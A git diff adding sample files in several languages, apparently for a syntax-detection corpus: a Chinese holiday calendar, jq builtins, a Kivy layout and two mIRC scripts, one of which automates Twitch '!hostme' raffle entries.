+DTEND;VALUE=DATE:20240102
+DTSTAMP;VALUE=DATE:20240101
+UID:2024-01-01/2024-01-02/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补春节假期)
+DTSTART;VALUE=DATE:20240204
+DTEND;VALUE=DATE:20240205
+DTSTAMP;VALUE=DATE:20240204
+UID:2024-02-04/2024-02-05/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:春节假期
+DTSTART;VALUE=DATE:20240210
+DTEND;VALUE=DATE:20240218
+DTSTAMP;VALUE=DATE:20240210
+UID:2024-02-10/2024-02-18/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补春节假期)
+DTSTART;VALUE=DATE:20240218
+DTEND;VALUE=DATE:20240219
+DTSTAMP;VALUE=DATE:20240218
+UID:2024-02-18/2024-02-19/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:清明节假期
+DTSTART;VALUE=DATE:20240404
+DTEND;VALUE=DATE:20240407
+DTSTAMP;VALUE=DATE:20240404
+UID:2024-04-04/2024-04-07/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补清明节假期)
+DTSTART;VALUE=DATE:20240407
+DTEND;VALUE=DATE:20240408
+DTSTAMP;VALUE=DATE:20240407
+UID:2024-04-07/2024-04-08/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补劳动节假期)
+DTSTART;VALUE=DATE:20240428
+DTEND;VALUE=DATE:20240429
+DTSTAMP;VALUE=DATE:20240428
+UID:2024-04-28/2024-04-29/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:劳动节假期
+DTSTART;VALUE=DATE:20240501
+DTEND;VALUE=DATE:20240506
+DTSTAMP;VALUE=DATE:20240501
+UID:2024-05-01/2024-05-06/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补劳动节假期)
+DTSTART;VALUE=DATE:20240511
+DTEND;VALUE=DATE:20240512
+DTSTAMP;VALUE=DATE:20240511
+UID:2024-05-11/2024-05-12/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:端午节假期
+DTSTART;VALUE=DATE:20240610
+DTEND;VALUE=DATE:20240611
+DTSTAMP;VALUE=DATE:20240610
+UID:2024-06-10/2024-06-11/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补中秋节假期)
+DTSTART;VALUE=DATE:20240914
+DTEND;VALUE=DATE:20240915
+DTSTAMP;VALUE=DATE:20240914
+UID:2024-09-14/2024-09-15/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:中秋节假期
+DTSTART;VALUE=DATE:20240915
+DTEND;VALUE=DATE:20240918
+DTSTAMP;VALUE=DATE:20240915
+UID:2024-09-15/2024-09-18/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补国庆节假期)
+DTSTART;VALUE=DATE:20240929
+DTEND;VALUE=DATE:20240930
+DTSTAMP;VALUE=DATE:20240929
+UID:2024-09-29/2024-09-30/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:国庆节假期
+DTSTART;VALUE=DATE:20241001
+DTEND;VALUE=DATE:20241008
+DTSTAMP;VALUE=DATE:20241001
+UID:2024-10-01/2024-10-08/NateScarlet/holiday-cn
+END:VEVENT
+BEGIN:VEVENT
+SUMMARY:上班(补国庆节假期)
+DTSTART;VALUE=DATE:20241012
+DTEND;VALUE=DATE:20241013
+DTSTAMP;VALUE=DATE:20241012
+UID:2024-10-12/2024-10-13/NateScarlet/holiday-cn
+END:VEVENT
+END:VCALENDAR
diff --git a/samples/iCalendar/todo-2.ical b/samples/iCalendar/todo-2.ical
new file mode 100644
index 0000000000..349841e977
--- /dev/null
+++ b/samples/iCalendar/todo-2.ical
@@ -0,0 +1,17 @@
+BEGIN:VCALENDAR
+PRODID:-//K Desktop Environment//NONSGML KOrganizer 5.18.2 (21.08.2)//EN
+VERSION:2.0
+X-KDE-ICAL-IMPLEMENTATION-VERSION:1.0
+BEGIN:VTODO
+ORGANIZER;CN=Stable:MAILTO:gjDitchfield@acm.org
+DTSTAMP:20210922T202815Z
+CREATED:20210922T202800Z
+UID:c962d358-f448-43fc-ac2f-4a629625a7a9
+SEQUENCE:1
+LAST-MODIFIED:20210922T202815Z
+SUMMARY:completed to-do
+COMPLETED:20210922T202815Z
+PERCENT-COMPLETE:100
+STATUS:COMPLETED
+END:VTODO
+END:VCALENDAR
diff --git a/samples/jq/builtin.jq b/samples/jq/builtin.jq
new file mode 100644
index 0000000000..ee78017609
--- /dev/null
+++ b/samples/jq/builtin.jq
@@ -0,0 +1,275 @@
+def halt_error: halt_error(5);
+def error(msg): msg|error;
+def map(f): [.[] | f];
+def select(f): if f then . else empty end;
+def sort_by(f): _sort_by_impl(map([f]));
+def group_by(f): _group_by_impl(map([f]));
+def unique: group_by(.) | map(.[0]);
+def unique_by(f): group_by(f) | map(.[0]);
+def max_by(f): _max_by_impl(map([f]));
+def min_by(f): _min_by_impl(map([f]));
+def add: reduce .[] as $x (null; . + $x);
+def del(f): delpaths([path(f)]);
+def _assign(paths; $value): reduce path(paths) as $p (.; setpath($p; $value));
+def _modify(paths; update): reduce path(paths) as $p (.; label $out | (setpath($p; getpath($p) | update) | ., break $out), delpaths([$p]));
+def map_values(f): .[] |= f;
+
+# recurse
+def recurse(f): def r: ., (f | r); r;
+def recurse(f; cond): def r: ., (f | select(cond) | r); r;
+def recurse: recurse(.[]?);
+def recurse_down: recurse;
+
+def to_entries: [keys_unsorted[] as $k | {key: $k, value: .[$k]}];
+def from_entries: map({(.key // .Key // .name // .Name): (if has("value") then .value else .Value end)}) | add | .//={};
+def with_entries(f): to_entries | map(f) | from_entries;
+def reverse: [.[length - 1 - range(0;length)]];
+def indices($i): if type == "array" and ($i|type) == "array" then .[$i]
+  elif type == "array" then .[[$i]]
+  elif type == "string" and ($i|type) == "string" then _strindices($i)
+  else .[$i] end;
+def index($i):   indices($i) | .[0];       # TODO: optimize
+def rindex($i):  indices($i) | .[-1:][0];  # TODO: optimize
+def paths: path(recurse(if (type|. == "array" or . == "object") then .[] else empty end))|select(length > 0);
+def paths(node_filter): . as $dot|paths|select(. as $p|$dot|getpath($p)|node_filter);
+def isfinite: type == "number" and (isinfinite | not);
+def arrays: select(type == "array");
+def objects: select(type == "object");
+def iterables: select(type|. == "array" or . == "object");
+def booleans: select(type == "boolean");
+def numbers: select(type == "number");
+def normals: select(isnormal);
+def finites: select(isfinite);
+def strings: select(type == "string");
+def nulls: select(. == null);
+def values: select(. != null);
+def scalars: select(type|. != "array" and . != "object");
+def leaf_paths: paths(scalars);
+def join($x): reduce .[] as $i (null;
+            (if .==null then "" else .+$x end) +
+            ($i | if type=="boolean" or type=="number" then tostring else .//"" end)
+        ) // "";
+def _flatten($x): reduce .[] as $i ([]; if $i | type == "array" and $x != 0 then . + ($i | _flatten($x-1)) else . + [$i] end);
+def flatten($x): if $x < 0 then error("flatten depth must not be negative") else _flatten($x) end;
+def flatten: _flatten(-1);
+def range($x): range(0;$x);
+def fromdateiso8601: strptime("%Y-%m-%dT%H:%M:%SZ")|mktime;
+def todateiso8601: strftime("%Y-%m-%dT%H:%M:%SZ");
+def fromdate: fromdateiso8601;
+def todate: todateiso8601;
+def match(re; mode): _match_impl(re; mode; false)|.[];
+def match($val): ($val|type) as $vt | if $vt == "string" then match($val; null)
+   elif $vt == "array" and ($val | length) > 1 then match($val[0]; $val[1])
+   elif $vt == "array" and ($val | length) > 0 then match($val[0]; null)
+   else error( $vt + " not a string or array") end;
+def test(re; mode): _match_impl(re; mode; true);
+def test($val): ($val|type) as $vt | if $vt == "string" then test($val; null)
+   elif $vt == "array" and ($val | length) > 1 then test($val[0]; $val[1])
+   elif $vt == "array" and ($val | length) > 0 then test($val[0]; null)
+   else error( $vt + " not a string or array") end;
+def capture(re; mods): match(re; mods) | reduce ( .captures | .[] | select(.name != null) | { (.name) : .string } ) as $pair ({}; . + $pair);
+def capture($val): ($val|type) as $vt | if $vt == "string" then capture($val; null)
+   elif $vt == "array" and ($val | length) > 1 then capture($val[0]; $val[1])
+   elif $vt == "array" and ($val | length) > 0 then capture($val[0]; null)
+   else error( $vt + " not a string or array") end;
+def scan(re):
+  match(re; "g")
+  |  if (.captures|length > 0)
+      then [ .captures | .[] | .string ]
+      else .string
+      end ;
+#
+# If input is an array, then emit a stream of successive subarrays of length n (or less),
+# and similarly for strings.
+def _nwise(a; $n): if a|length <= $n then a else a[0:$n] , _nwise(a[$n:]; $n) end;
+def _nwise($n): _nwise(.; $n);
+#
+# splits/1 produces a stream; split/1 is retained for backward compatibility.
+def splits($re; flags): . as $s
+#  # multiple occurrences of "g" are acceptable
+  | [ match($re; "g" + flags) | (.offset, .offset + .length) ]
+  | [0] + . +[$s|length]
+  | _nwise(2)
+  | $s[.[0]:.[1] ] ;
+def splits($re): splits($re; null);
+#
+# split emits an array for backward compatibility
+def split($re; flags): [ splits($re; flags) ];
+#
+# If s contains capture variables, then create a capture object and pipe it to s
+def sub($re; s):
+  . as $in
+  | [match($re)]
+  | if length == 0 then $in
+    else .[0]
+    | . as $r
+#  # create the "capture" object:
+    | reduce ( $r | .captures | .[] | select(.name != null) | { (.name) : .string } ) as $pair
+        ({}; . + $pair)
+    | $in[0:$r.offset] + s + $in[$r.offset+$r.length:]
+    end ;
+#
+# If s contains capture variables, then create a capture object and pipe it to s
+def sub($re; s; flags):
+  def subg: [explode[] | select(. != 103)] | implode;
+  # "fla" should be flags with all occurrences of g removed; gs should be non-nil if flags has a g
+  def sub1(fla; gs):
+    def mysub:
+      . as $in
+      | [match($re; fla)]
+      | if length == 0 then $in
+        else .[0] as $edit
+        | ($edit | .offset + .length) as $len
+        # create the "capture" object:
+        | reduce ( $edit | .captures | .[] | select(.name != null) | { (.name) : .string } ) as $pair
+            ({}; . + $pair)
+        | $in[0:$edit.offset]
+          + s
+          + ($in[$len:] | if length > 0 and gs then mysub else . end)
+        end ;
+    mysub ;
+    (flags | index("g")) as $gs
+    | (flags | if $gs then subg else . end) as $fla
+    | sub1($fla; $gs);
+#
+def sub($re; s): sub($re; s; "");
+# repeated substitution of re (which may contain named captures)
+def gsub($re; s; flags): sub($re; s; flags + "g");
+def gsub($re; s): sub($re; s; "g");
+
+########################################################################
+# generic iterator/generator
+def while(cond; update):
+     def _while:
+         if cond then ., (update | _while) else empty end;
+     _while;
+def until(cond; next):
+     def _until:
+         if cond then . else (next|_until) end;
+     _until;
+def limit($n; exp):
+    if $n > 0 then label $out | foreach exp as $item ($n; .-1; $item, if . <= 0 then break $out else empty end)
+    elif $n == 0 then empty
+    else exp end;
+# range/3, with a `by` expression argument
+def range($init; $upto; $by):
+    if $by > 0 then $init|while(. < $upto; . + $by)
+  elif $by < 0 then $init|while(. > $upto; . + $by)
+  else empty end;
+def first(g): label $out | g | ., break $out;
+def isempty(g): first((g|false), true);
+def all(generator; condition): isempty(generator|condition and empty);
+def any(generator; condition): isempty(generator|condition or empty)|not;
+def all(condition): all(.[]; condition);
+def any(condition): any(.[]; condition);
+def all: all(.[]; .);
+def any: any(.[]; .);
+def last(g): reduce g as $item (null; $item);
+def nth($n; g): if $n < 0 then error("nth doesn't support negative indices") else last(limit($n + 1; g)) end;
+def first: .[0];
+def last: .[-1];
+def nth($n): .[$n];
+def combinations:
+    if length == 0 then [] else
+        .[0][] as $x
+          | (.[1:] | combinations) as $y
+          | [$x] + $y
+    end;
+def combinations(n):
+    . as $dot
+      | [range(n) | $dot]
+      | combinations;
+# transpose a possibly jagged matrix, quickly;
+# rows are padded with nulls so the result is always rectangular.
+def transpose:
+  if . == [] then []
+  else . as $in
+  | (map(length) | max) as $max
+  | length as $length
+  | reduce range(0; $max) as $j
+      ([]; . + [reduce range(0;$length) as $i ([]; . + [ $in[$i][$j] ] )] )
+	        end;
+def in(xs): . as $x | xs | has($x);
+def inside(xs): . as $x | xs | contains($x);
+def repeat(exp):
+     def _repeat:
+         exp, _repeat;
+     _repeat;
+def inputs: try repeat(input) catch if .=="break" then empty else error end;
+# like ruby's downcase - only characters A to Z are affected
+def ascii_downcase:
+  explode | map( if 65 <= . and . <= 90 then . + 32  else . end) | implode;
+# like ruby's upcase - only characters a to z are affected
+def ascii_upcase:
+  explode | map( if 97 <= . and . <= 122 then . - 32  else . end) | implode;
+
+# Streaming utilities
+def truncate_stream(stream):
+  . as $n | null | stream | . as $input | if (.[0]|length) > $n then setpath([0];$input[0][$n:]) else empty end;
+def fromstream(i): {x: null, e: false} as $init |
+  # .x = object being built; .e = emit and reset state
+  foreach i as $i ($init
+  ; if .e then $init else . end
+  | if $i|length == 2
+    then setpath(["e"]; $i[0]|length==0) | setpath(["x"]+$i[0]; $i[1])
+    else setpath(["e"]; $i[0]|length==1) end
+  ; if .e then .x else empty end);
+def tostream:
+  path(def r: (.[]?|r), .; r) as $p |
+  getpath($p) |
+  reduce path(.[]?) as $q ([$p, .]; [$p+$q]);
+
+
+# Assuming the input array is sorted, bsearch/1 returns
+# the index of the target if the target is in the input array; and otherwise
+#  (-1 - ix), where ix is the insertion point that would leave the array sorted.
+# If the input is not sorted, bsearch will terminate but with irrelevant results.
+def bsearch($target):
+  if length == 0 then -1
+  elif length == 1 then
+     if $target == .[0] then 0 elif $target < .[0] then -1 else -2 end
+  else . as $in
+    # state variable: [start, end, answer]
+    # where start and end are the upper and lower offsets to use.
+    | [0, length-1, null]
+    | until( .[0] > .[1] ;
+             if .[2] != null then (.[1] = -1)               # i.e. break
+             else
+               ( ( (.[1] + .[0]) / 2 ) | floor ) as $mid
+               | $in[$mid] as $monkey
+               | if $monkey == $target  then (.[2] = $mid)   # success
+                 elif .[0] == .[1]     then (.[1] = -1)     # failure
+                 elif $monkey < $target then (.[0] = ($mid + 1))
+                 else (.[1] = ($mid - 1))
+                 end
+             end )
+    | if .[2] == null then          # compute the insertion point
+         if $in[ .[0] ] < $target then (-2 -.[0])
+         else (-1 -.[0])
+         end
+      else .[2]
+      end
+  end;
+
+# Apply f to composite entities recursively, and to atoms
+def walk(f):
+  . as $in
+  | if type == "object" then
+      reduce keys_unsorted[] as $key
+        ( {}; . + { ($key):  ($in[$key] | walk(f)) } ) | f
+  elif type == "array" then map( walk(f) ) | f
+  else f
+  end;
+
+# SQL-ish operators here:
+def INDEX(stream; idx_expr):
+  reduce stream as $row ({}; .[$row|idx_expr|tostring] = $row);
+def INDEX(idx_expr): INDEX(.[]; idx_expr);
+def JOIN($idx; idx_expr):
+  [.[] | [., $idx[idx_expr]]];
+def JOIN($idx; stream; idx_expr):
+  stream | [., $idx[idx_expr]];
+def JOIN($idx; stream; idx_expr; join_expr):
+  stream | [., $idx[idx_expr]] | join_expr;
+def IN(s): any(s == .; .);
+def IN(src; s): any(src == s; .);
diff --git a/samples/jq/sample.jq b/samples/jq/sample.jq
new file mode 100644
index 0000000000..48349be504
--- /dev/null
+++ b/samples/jq/sample.jq
@@ -0,0 +1,12 @@
+def test_interpolate: "abc \("nested \(. | ascii_upcase)")";
+
+def nothing: empty;
+
+def as_obj_var: . as {$a, $b} | $a;
+def as_array_var: [1] as [$a] | $a;
+def as_obj_array_var: {a: [1]} as {a: [$a, $b], $c} | $a;
+def as_array_obj_var: [{a: 1}] as [{$a, a: $b}] | $a;
+
+def array_in_object: {abc: [123, "abc", {abc: [123, 123]}]};
+
+def f($var): $var;
diff --git a/samples/kvlang/showcase.kv b/samples/kvlang/showcase.kv
new file mode 100644
index 0000000000..3f73bbcb8b
--- /dev/null
+++ b/samples/kvlang/showcase.kv
@@ -0,0 +1,100 @@
+#:kivy 1.8.0
+#:import KivyLexer kivy.extras.highlight.KivyLexer
+#:import Factory kivy.factory.Factory
+
+<ActionSpinnerOptions@SpinnerOption>
+    background_color: .4, .4, .4, 1
+
+<ActionSpinner@Spinner+ActionItem>
+    canvas.before:
+        Color:
+            rgba: 0.128, 0.128, 0.128, 1
+        Rectangle:
+            size: self.size
+            pos: self.pos
+    border: 27, 20, 12, 12
+    background_normal: 'atlas://data/images/defaulttheme/action_group'
+    option_cls: Factory.ActionSpinnerOptions
+
+<ActionDropdown>:
+    on_size: self.width = '220dp'
+
+<ShowcaseScreen>:
+    ScrollView:
+        do_scroll_x: False
+        do_scroll_y: False if root.fullscreen else (content.height > root.height - dp(16))
+        AnchorLayout:
+            size_hint_y: None
+            height: root.height if root.fullscreen else max(root.height, content.height)
+            GridLayout:
+                id: content
+                cols: 1
+                spacing: '8dp'
+                padding: '8dp'
+                size_hint: (1, 1) if root.fullscreen else (.8, None)
+                height: self.height if root.fullscreen else self.minimum_height
+
+
+BoxLayout:
+    orientation: 'vertical'
+
+    canvas.before:
+        Color:
+            rgb: .6, .6, .6
+        Rectangle:
+            size: self.size
+            source: 'data/background.png'
+
+    ActionBar:
+
+        ActionView:
+            id: av
+            ActionPrevious:
+                with_previous: (False if sm.current_screen.name == 'button' else True) if sm.current_screen else False
+                title: 'Showcase' + ('' if not app.current_title else ' - {}'.format(app.current_title))
+                on_release: app.go_hierarchy_previous()
+
+            ActionSpinner:
+                id: spnr
+                important: True
+                text: 'Jump to Screen'
+                values: app.screen_names
+                on_text:
+                    if sm.current != args[1]:\
+                    idx = app.screen_names.index(args[1]);\
+                    app.go_screen(idx)
+            ActionToggleButton:
+                text: 'Toggle sourcecode'
+                icon: 'data/icons/bug.png'
+                on_release: app.toggle_source_code()
+            ActionButton:
+                text: 'Previous screen'
+                icon: 'data/icons/chevron-left.png'
+                on_release: app.go_previous_screen()
+
+            ActionButton:
+                text: 'Next screen'
+                icon: 'data/icons/chevron-right.png'
+                on_release: app.go_next_screen()
+                important: True
+
+    ScrollView:
+        id: sv
+        size_hint_y: None
+        height: 0
+
+        CodeInput:
+            id: sourcecode
+            lexer: KivyLexer()
+            text: app.sourcecode
+            readonly: True
+            size_hint_y: None
+            font_size: '12sp'
+            height: self.minimum_height
+
+    ScreenManager:
+        id: sm
+        on_current_screen:
+            spnr.text = args[1].name
+            idx = app.screen_names.index(args[1].name)
+            if idx > -1: app.hierarchy.append(idx)
diff --git a/samples/mIRC Script/AutoHostmeBot.mrc b/samples/mIRC Script/AutoHostmeBot.mrc
new file mode 100644
index 0000000000..6766335b32
--- /dev/null
+++ b/samples/mIRC Script/AutoHostmeBot.mrc	
@@ -0,0 +1,223 @@
+;=====================================================================================
+;====================================== HOSTBOT ======================================
+;================================= TWITCH.TV/MRDOCDC =================================
+;=============================== AUTO !HOSTME v0.1.4.3 ===============================
+;=====================================================================================
+;====== Please do not edit below this line unless you know what you are doing!! ======
+;==                   This the basic release for Auto !HOSTME Bot                   ==
+;==                This bot will type !HOSTME for you automatically!                ==
+;==           Simple and open source. Questions/Support Contect me below:           ==
+;==                               Twitter:   @MrDocDC                               ==
+;==                      Discord:   https://discord.gg/ns2uTBS                      ==
+;==                         Web: https://bluecat.live/faq/                          ==
+;============================          Enjoy  :)          ============================
+;=====================================================================================
+
+
+;=======================================================
+;=====================Custom stuff======================
+;;add your custom scripts here if you would like.
+; I advise not spamming channels as this will get you banned!
+; I suggest spamming channels every 2 minutes (or 120 seconds)
+
+
+;=======================================================
+;===============CONNECTION AND DISCONNECT===============
+
+ON *:CONNECT: {
+  SET %version 0.1.4.3
+  window -g1 @Logs
+  echo -m @Logs $timestamp Auto Hostme Bot Successfully loaded. Version: %version
+  echo -m @Logs $timestamp 3To check for the latest version:12 https://bluecat.live/update/
+  echo -m @Logs $timestamp
+  echo -m @Logs $timestamp
+  IF ($server == tmi.twitch.tv) {
+    timers off
+    twitchpart
+    CAP REQ :twitch.tv/commands twitch.tv/tags twitch.tv/membership
+    VAR %x = 1
+    ;; loop to join all the channels in the autojoin.txt file
+    WHILE ($read(autojoin.txt, t,%x) != $null) {
+      VAR %chan $chr(35) $+ $read(autojoin.txt, t, %x)
+      .TIMER -m 1 $calc(%x * 333) JOIN %chan
+      INC %x
+    }
+    if (%advertson) { startad }
+    startclear
+    SET %myName $me
+    VAR %livecheck $livechecker(%myName)
+  }
+}
+ON *:DISCONNECT:IF ($server == tmi.twitch.tv) twitchpart
+alias twitchpart {
+  VAR %chans $chan(0)
+  WHILE (%chans) {
+    VAR %chan $chan(%chans)
+    PART %chan
+    DEC %chans
+  }
+}
+
+;=======================================================
+;==================== menu aliases =====================
+
+menu query,channel,status {
+  $style(2) &Version  %version:$null 
+  -
+  Help
+  .Trouble Shooting &Video: /url https://www.youtube.com/channel/UCI4C1vG7LMqnwfimJQe6VcA/playlists
+  .Trouble Shooting &Link: /url https://bluecat.live/faq/
+  -
+  Check For &Updates: /url https://bluecat.live/update/
+  -
+  Get your &oAuth: /url https://twitchapps.com/tmi/
+  -
+  &Clear &Current Screen:/clear
+}
+menu @Logs  {
+  Clear
+  .Clear Current://clear
+  .Clear All://clearall
+}
+;=======================================================
+;===================== bot scripts =====================
+
+;;waits for unhost, picks a random number between 1 and 45, posts !hostme in that (random)time in seconds
+ON *:NOTICE:*Exited host mode*:#: {
+  VAR %livecheck $livechecker(%myName)
+  if (%livecheck) && (%livecheck != $false) {
+    if ($chan == #p0sitivitybot) {
+      timer $+ $chan 1 $rand(1,45) { msg $chan $chr(63) $+ HOSTME | echo -m @Logs $timestamp 9Entered into the raffle for channel  $+ $chan $+ . USED $chr(63) $+ HOSTME }
+      return
+    }
+    elseif ($chan == #shouman) {
+      timer $+ $chan 1 $rand(1,45) { msg $chan $chr(36) $+ HOSTME | echo -m @Logs $timestamp 9Entered into the raffle for channel  $+ $chan $+ . USED $chr(36) $+ HOSTME }
+      return
+    }
+    else {
+      timer $+ $chan 1 $rand(1,45) { msg $chan !hostme | echo -m @Logs $timestamp 9Entered into the raffle for channel  $+ $chan $+ . USED $chr(33) $+ HOSTME }
+    }
+  }
+  else { echo -m @Logs $timestamp  4Not Entered into the raffle for $chan $+ . $chr(91) $+ not live $+ $chr(93) }
+}
+;;if you have posted the same message too soon, it will try again in 32 seconds.
+;; this will only happen once as to not keep infinitely looping.
+ON *:NOTICE:*identical to the previous*:#: {
+  if (%advertson) && (%retry < 1) {
+    VAR %retry 0
+    SET %tryagain $chan
+    INC %retry 1
+    .timer.tryagain 1 32 { msg %tryagain !hostme | echo -m @Logs $timestamp 9Entered you were entered into the raffle for channel $+ %tryagain $+ . }
+  }
+}
+;;notice if room is in followers-only mode.
+ON *:NOTICE:*followers-only mode*:#: {
+  echo -m @Logs $timestamp  4Not Entered into the raffle for $chan $+ . $chr(91) $+ not following $+ $chr(93) Click here and follow: 12https://twitch.tv/ $+ $remove($chan, $chr(35))
+}
+;;this will let the dev know if anyone is running an outdated version. dev will message you to update.
+ON *:text:!version:#: {
+  if ($nick == MrDocDC) {
+    msg $nick I'm running the Auto !HOSTME Bot VERSION: %version
+  }
+}
+;; timer to clear the channel windows every 999seconds to keep buffer down
+alias startclear {
+  .TIMER.CLEAR.* off
+  VAR %xx 1
+  WHILE ($read(autojoin.txt, t,%xx) != $null) {
+    VAR %chan $chr(35) $+ $read(autojoin.txt, t, %xx)
+    .TIMER.CLEAR. $+ %xx 0 999 clear %chan
+    INC %xx
+  }
+}
+;;this will call the alias to verify the streamer is live
+;; in oter words, it will only send the message if you are live streaming!
+alias livechecker {
+  JSONOpen -uw livecheck https://api.twitch.tv/kraken/streams/ $+ $1 $+ ?nocache= $+ $ticks
+  JSONHttpHeader livecheck Client-ID avm4vi7zv0xpjkpi3d4x0qzk8xbrdw8
+  JSONHttpFetch livecheck
+  VAR %x $IIF($json(livecheck,stream,created_at).value,$true,$false)
+  JSONClose livecheck
+  RETURN %x
+}
+
+;======================= end bot =======================
+;=======================================================
+
+;=======================================================
+;===================== Change Logs =====================
+;
+; v 0.1.4.3 12MAR2019
+;           + Minor changes to colors and menu
+;           + Added notice of followers-only mode in @Logs window
+;
+; v 0.1.4.2 03MAR2019
+;           + fixed live checker
+;           + Need: notice of not following; follower-only chat
+;
+; v 0.1.4.1 03MAR2019
+;           + added more channels to join
+;           + patched
+;
+; v 0.1.4.0 06NOV2018
+;           + changed channels
+;			+ !hostme only sends if streamer is live
+;			+ updated website and video
+;
+; v 0.1.3.0 14OCT2018
+;           + changed channels
+;			+ made !hostme only send if channel unhosts
+;			+ updated video to reflect this version
+;
+;
+; v 0.1.2.1 20JUN2018
+;           + minor changes to autojoin channels due to not hosting 24/7
+;
+; v 0.1.2.0 12JUN2018
+;           + updated files and added step to install mIRC separately
+;			+ resolved issues with evaluation exired.
+;				* wait for continue button to be clickable
+;				* click register, close browser, wait for continue button to be clickable
+;				* delete and stop using produce or register it.
+;
+; v 0.1.1.1 12JUN2018
+;
+;			+ Added links to new help desk! https://bluecat.live/support/           
+;           + Auto/Manual Timers
+;           + Wait timer for .unhost (electricalskateboard/hostraffles/more to come)
+;           + Fix timing between msg channels
+;           + Instructions on youtube
+;           + Hosted files both initial install and update
+;           + Added a help file online. Will link everything there eventually
+;           + All-in-one zip for initial update
+;           
+;           
+; v 0.1.1.0 10JUN2018
+;           
+;           Added mIRC.exe to the .zip file. Changed timers for notify on host mode.
+;             - timers will help keep congestion down in channels.
+;      
+;      
+; v 0.1.0.2 10JUN2018
+;           
+;           TODO: try to see if whole mIRC dir can be put in zip for fewer steps on install. +Done v0.1.1.1
+;           Took out channels that only accept entries after .unhost
+;           Added msg on unhost / made file to read those that will mass message only
+;           Added repeat try if message identical
+;           Changed timers from miliseconds to seconds, with 3 seconds between each one.
+;      
+;      
+; v 0.1.0.1 09JUN2018
+;           
+;           Changed the below command to ON NOTICE. TEXT didn't respond.
+;           Added ON TEXT to send !hostme if a channel has .unhost'd
+;           Updated googledrive file.
+;           Changed method for sending message from /amsg to a while loop for all channels in autojoin.
+;      
+; v 0.1.0.0 07JUN2018
+;           
+;           Uploaded files to youtube & drive
+;           Updated raffle channels
+;           Coded simple !hostme bot to say !hostme in all joined host raffle channels
+;=======================================================
+;=================== End script1.mrc ===================
diff --git a/samples/mIRC Script/torncity-apiprofile.mrc b/samples/mIRC Script/torncity-apiprofile.mrc
new file mode 100644
index 0000000000..ac40ed110a
--- /dev/null
+++ b/samples/mIRC Script/torncity-apiprofile.mrc	
@@ -0,0 +1,316 @@
+; -=- Script Settings v1.3 (May 28 2016)
+; This script will automatically use SSL if the proper libraries are installed. 
+; To check: go to Tools - Options, Connect - Options. If the SSL button is greyed out, it is not active.
+
+; API Key. Change to your API key.
+alias -l prof.apikey { return apikey12 }
+
+; Enabled Channel List. Separate by space.
+alias -l prof.chanlist { return #pmvtest #pmv }
+
+; Colours. Same order as the UTA bot. Change by pressing CTRL-K and two digit combination.
+alias -l prof.col {
+  if ($1 == 1) { return 10 } ; Primary 
+  if ($1 == 2) { return 07 } ; Secondary (Highlights)
+  if ($1 == 3) { return 03 } ; Help
+  if ($1 == 4) { return 13 } ; Note
+  if ($1 == 5) { return 04 } ; Error
+  if ($1 == 6) { return 03 } ; Good/Positive
+  if ($1 == 7) { return 04 } ; Bad/Negative
+  if ($1 == 8) { return 06 } ; Subnote
+}
+
+; Do you want the link displayed after? if not, change to 0.
+alias -l prof.linkafter { return 1 }
+
+; ID File Locations. The default is usually fine. 
+alias -l prof.idsfile { return $qt($scriptdir $+ id.hsh) }
+alias -l prof.idsnamefile { return $qt($scriptdir $+ idname.hsh) }
+
+; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+; -=- Script Code. You do not need to edit/set anything under this line unless you want to change it. -=-
+; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+on 1:start:{
+  if ($hget(prof.ids)) { hfree prof.ids } 
+  hmake prof.ids 100 
+  if ($exists($prof.idsfile)) { hload prof.ids $prof.idsfile }  
+  if ($hget(prof.idsname)) { hfree prof.idsname } 
+  hmake prof.idsname 100 
+  if ($exists($prof.idsnamefile)) { hload prof.idsname $prof.idsnamefile } 
+}
+
+on *:text:*:#: { 
+  if ($istok($prof.chanlist,$chan,32)) {
+    tokenize 32 $strip($replace($1-, $chr(9), $chr(32), $chr(194), $chr(32)))
+    if ($1 == !addid) {
+      if ($2 == $null) { 
+        msg # $prof.col(3) $+ Adds an ID to the bot. $prof.col(1) $+ Usage: $+ $prof.col(2) !addid Name TornID 
+        msg # $prof.col(4) $+ Note: $+ $prof.col(8) if your name displays wrong after adding to the bot, you can fix yourself with: $prof.col(4) $+ !setname Name $prof.col(8) $+ or get an op to use $prof.col(4) $+ !setmain Name ID
+      }
+      else {
+        if ($2 isnum && $3 == $null) { var %pid = $prof.cleanN($2) | var %pnick = $nick }
+        elseif ($3 isnum) { var %pid = $prof.cleanN($3) | var %pnick = $2 }
+        else { msg # $prof.col(5) $+ Try again. Usage: $+ $prof.col(2) !addid Name TornID | halt }
+        if (%pid != $null) { 
+          var %retid = $prof.getid(%pnick)
+          if (%retid == $null) { 
+            hadd -m prof.ids %pnick %pid            
+            hsave prof.ids $prof.idsfile
+            msg # $prof.col(1) $+ Added $+ $prof.col(2) %pnick $prof.colid(%pid,1,2) to the database! If your name displays weird, fix with: $+ $prof.col(2) !setname Name
+          }
+          else { msg # $prof.col(5) $+ Whoops! $+ $prof.col(2) %pnick $prof.col(5) $+ already exists in the bot with ID $+ $prof.col(2) %retid $+ $prof.col(5) $+ .  }
+        }
+      }
